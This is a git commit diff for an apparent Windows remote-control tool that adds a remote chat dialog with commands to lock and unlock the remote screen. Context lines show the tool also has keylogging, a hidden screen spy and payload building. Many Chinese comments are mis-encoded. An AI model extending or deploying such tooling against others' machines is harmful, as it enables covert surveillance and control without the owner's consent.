feature(master): Add remote chat feature
This commit is contained in:
@@ -15,6 +15,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
|
||||
ProjectSection(SolutionItems) = preProject
|
||||
history.md = history.md
|
||||
ReadMe.md = ReadMe.md
|
||||
ReadMe_EN.md = ReadMe_EN.md
|
||||
使用方法.txt = 使用方法.txt
|
||||
使用花生壳.txt = 使用花生壳.txt
|
||||
EndProjectSection
|
||||
|
||||
@@ -164,6 +164,7 @@ enum
|
||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -351,6 +352,14 @@ struct WINDOWSINFO {
|
||||
int h;
|
||||
};
|
||||
|
||||
// Զ<>̽<EFBFBD≯
|
||||
enum ChatManager {
|
||||
COMMAND_NEXT_CHAT,
|
||||
COMMAND_CHAT_CLOSE,
|
||||
COMMAND_CHAT_SCREEN_LOCK,
|
||||
COMMAND_CHAT_SCREEN_UNLOCK,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
|
||||
Binary file not shown.
@@ -33,6 +33,7 @@
|
||||
#include <algorithm>
|
||||
#include "HideScreenSpyDlg.h"
|
||||
#include <sys/MachineDlg.h>
|
||||
#include "Chat.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -354,6 +355,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
|
||||
ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
|
||||
ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
|
||||
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
|
||||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
@@ -1567,6 +1569,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
case CHAT_DLG: {
|
||||
CChat* Dlg = (CChat*)ContextObject->hDlg;
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (hEvent == NULL) {
|
||||
@@ -1665,6 +1672,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CHAT_START: { // 远程交谈
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_KEYBOARD_START: {// 键盘记录
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
@@ -1888,6 +1899,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
delete Dlg;
|
||||
break;
|
||||
}
|
||||
case CHAT_DLG:
|
||||
{
|
||||
CChat* Dlg = (CChat*)p->hDlg;
|
||||
delete Dlg;
|
||||
break;
|
||||
}
|
||||
default:break;
|
||||
}
|
||||
delete p;
|
||||
@@ -2182,6 +2199,21 @@ LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lPara
|
||||
return 0;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
|
||||
CChat* Dlg = new CChat(this, m_iocpServer, ContextObject);
|
||||
|
||||
Dlg->Create(IDD_CHAT, GetDesktopWindow());
|
||||
Dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
ContextObject->v1 = CHAT_DLG;
|
||||
ContextObject->hDlg = Dlg;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
|
||||
{
|
||||
MessageBox("Copyleft (c) FTU 2025", "关于");
|
||||
|
||||
@@ -225,6 +225,7 @@ public:
|
||||
afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
|
||||
@@ -255,6 +255,7 @@
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="Chat.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="CTextDlg.h" />
|
||||
@@ -306,6 +307,7 @@
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="Chat.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="CTextDlg.cpp" />
|
||||
@@ -354,11 +356,16 @@
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\note.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\icon2.ico" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
|
||||
180
server/2015Remote/Chat.cpp
Normal file
180
server/2015Remote/Chat.cpp
Normal file
@@ -0,0 +1,180 @@
|
||||
// Chat.cpp : implementation file
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "Chat.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CChat dialog
|
||||
|
||||
|
||||
CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT));
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
m_bOnClose = FALSE;
|
||||
}
|
||||
|
||||
|
||||
void CChat::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_TIP, m_editTip);
|
||||
DDX_Control(pDX, IDC_EDIT_NEWMSG, m_editNewMsg);
|
||||
DDX_Control(pDX, IDC_EDIT_CHATLOG, m_editChatLog);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CChat, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
|
||||
ON_BN_CLICKED(IDC_BUTTON_END, OnButtonEnd)
|
||||
ON_WM_CTLCOLOR()
|
||||
ON_WM_CLOSE()
|
||||
ON_EN_SETFOCUS(IDC_EDIT_CHATLOG, OnSetfocusEditChatLog)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_CHATLOG, OnKillfocusEditChatLog)
|
||||
ON_BN_CLICKED(IDC_LOCK, &CChat::OnBnClickedButton_LOCK)
|
||||
ON_BN_CLICKED(IDC_UNLOCK, &CChat::OnBnClickedButton_UNLOCK)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CCHAT message handlers
|
||||
|
||||
BOOL CChat::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_pContext->PeerName.c_str()),
|
||||
SetWindowText(str);
|
||||
m_editTip.SetWindowText(_T("<EFBFBD><EFBFBD>ʾ: <20>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Żᵯ<C5BB><E1B5AF>"));
|
||||
m_editNewMsg.SetLimitText(4079);
|
||||
// TODO: Add extra initialization here
|
||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
void CChat::OnReceive()
|
||||
{
|
||||
}
|
||||
|
||||
void CChat::OnReceiveComplete()
|
||||
{
|
||||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
|
||||
char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("<EFBFBD>Է<EFBFBD>:"),
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult);
|
||||
if (m_editChatLog.GetWindowTextLength() >= 20000)
|
||||
m_editChatLog.SetWindowText(_T(""));
|
||||
m_editChatLog.SetSel(-1);
|
||||
m_editChatLog.ReplaceSel(Text);
|
||||
}
|
||||
|
||||
void CChat::OnButtonSend()
|
||||
{
|
||||
char str[4096];
|
||||
GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||
if (_tcscmp(str, _T("")) == 0) {
|
||||
m_editNewMsg.SetFocus();
|
||||
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
m_editTip.ShowWindow(SW_HIDE);
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("<EFBFBD>Լ<EFBFBD>:"),
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||
if (m_editChatLog.GetWindowTextLength() >= 20000)
|
||||
m_editChatLog.SetWindowText(_T(""));
|
||||
m_editChatLog.SetSel(-1);
|
||||
m_editChatLog.ReplaceSel(Text);
|
||||
m_editNewMsg.SetWindowText(_T(""));
|
||||
m_editNewMsg.SetFocus();
|
||||
}
|
||||
|
||||
void CChat::OnButtonEnd()
|
||||
{
|
||||
SendMessage(WM_CLOSE, 0, 0);
|
||||
}
|
||||
|
||||
void CChat::OnClose()
|
||||
{
|
||||
m_ContextObject->CancelIO();
|
||||
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) {
|
||||
COLORREF clr = RGB(0, 0, 0);
|
||||
pDC->SetTextColor(clr); // <20><><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
|
||||
clr = RGB(255, 255, 255);
|
||||
pDC->SetBkColor(clr); // <20><><EFBFBD>ð<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
return CreateSolidBrush(clr); // <20><>ΪԼ<CEAA><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD>ɫ<EFBFBD><C9AB>Ӧ<EFBFBD><D3A6>ˢ<EFBFBD>Ӿ<EFBFBD><D3BE><EFBFBD>
|
||||
} else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) {
|
||||
COLORREF clr = RGB(255, 0, 0);
|
||||
pDC->SetTextColor(clr); // <20><><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
|
||||
clr = RGB(220, 220, 0);
|
||||
pDC->SetBkColor(clr); // <20><><EFBFBD>û<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
return CreateSolidBrush(clr); // <20><>ΪԼ<CEAA><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD>ɫ<EFBFBD><C9AB>Ӧ<EFBFBD><D3A6>ˢ<EFBFBD>Ӿ<EFBFBD><D3BE><EFBFBD>
|
||||
} else {
|
||||
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
}
|
||||
}
|
||||
|
||||
void CChat::PostNcDestroy()
|
||||
{
|
||||
if (!m_bOnClose)
|
||||
OnCancel();
|
||||
CDialog::PostNcDestroy();
|
||||
delete this;
|
||||
}
|
||||
|
||||
BOOL CChat::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_ESCAPE) {
|
||||
return true;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CChat::OnSetfocusEditChatLog()
|
||||
{
|
||||
if (m_editTip.IsWindowVisible())
|
||||
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
|
||||
}
|
||||
|
||||
void CChat::OnKillfocusEditChatLog()
|
||||
{
|
||||
if (m_editTip.IsWindowVisible())
|
||||
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_LOCK()
|
||||
{
|
||||
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_UNLOCK()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
}
|
||||
49
server/2015Remote/Chat.h
Normal file
49
server/2015Remote/Chat.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#pragma once
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CChat dialog
|
||||
|
||||
class CChat : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
|
||||
enum { IDD = IDD_CHAT };
|
||||
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnClose();
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnButtonSend();
|
||||
afx_msg void OnButtonEnd();
|
||||
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
afx_msg void OnSetfocusEditChatLog();
|
||||
afx_msg void OnKillfocusEditChatLog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
BOOL m_bOnClose;
|
||||
public:
|
||||
CEdit m_editTip;
|
||||
CEdit m_editNewMsg;
|
||||
CEdit m_editChatLog;
|
||||
|
||||
afx_msg void OnBnClickedButton_LOCK();
|
||||
afx_msg void OnBnClickedButton_UNLOCK();
|
||||
};
|
||||
BIN
server/2015Remote/res/chat.ico
Normal file
BIN
server/2015Remote/res/chat.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
Binary file not shown.
@@ -80,6 +80,7 @@
|
||||
#define WM_OPENPROXYDIALOG WM_USER+3014
|
||||
#define WM_OPENHIDESCREENDLG WM_USER+3015
|
||||
#define WM_OPENMACHINEMGRDLG WM_USER+3016
|
||||
#define WM_OPENCHATDIALOG WM_USER+3017
|
||||
|
||||
enum
|
||||
{
|
||||
@@ -97,6 +98,7 @@ enum
|
||||
PROXY_DLG,
|
||||
HIDESCREEN_DLG,
|
||||
MACHINE_DLG,
|
||||
CHAT_DLG,
|
||||
};
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user